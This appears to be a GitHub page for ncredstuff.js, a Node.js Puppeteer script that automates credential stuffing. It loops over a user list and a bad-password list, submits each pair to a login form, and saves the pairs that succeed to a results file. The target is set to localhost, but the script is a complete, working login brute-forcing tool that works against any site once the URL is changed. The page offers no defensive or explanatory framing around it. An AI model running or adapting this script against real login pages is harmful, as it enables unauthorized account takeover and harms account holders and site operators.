-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathncredstuff.js
63 lines (51 loc) · 1.55 KB
/
ncredstuff.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const fs = require('fs');
const util = require('util');
const path = require('path');
const puppeteer = require('puppeteer');
const writeFile = util.promisify(fs.writeFile);
const userList = require('./userlist.json');
const badPasswords = require('./passlist.json');
const results = {
success: [],
failure: 0
};
const LOGIN_URL = 'http://localhost:8080/login';
async function testLogin (email, password) {
try {
console.log(`Testing Password: ${password}`);
const browser = await puppeteer.launch();
const page = await browser.newPage();
console.log('Navigating to login...');
await page.goto('http://localhost:8080/login');
console.log('Filling out form...');
await page.type('#email', email);
await page.type('#password', password);
console.log('Submitting...');
await page.click('[type="submit"]');
await page.waitFor(1000);
if (page.url() === LOGIN_URL) {
throw new Error('Failed to login');
}
results.success.push({
email,
password
});
console.log('Succeed!\n\n');
await browser.close();
} catch (err) {
console.error(err);
console.log('Failed :(\n\n');
results.failure++;
}
}
(async () => {
for (const email of userList) {
for (const password of badPasswords) {
console.log(`Testing Email: ${email}`);
await testLogin(email, password);
}
}
console.log(`Success: ${results.success.length}`);
console.log(`Failed: ${results.failure}`);
await writeFile(path.join(__dirname, 'results.json'), JSON.stringify(results.success));
})();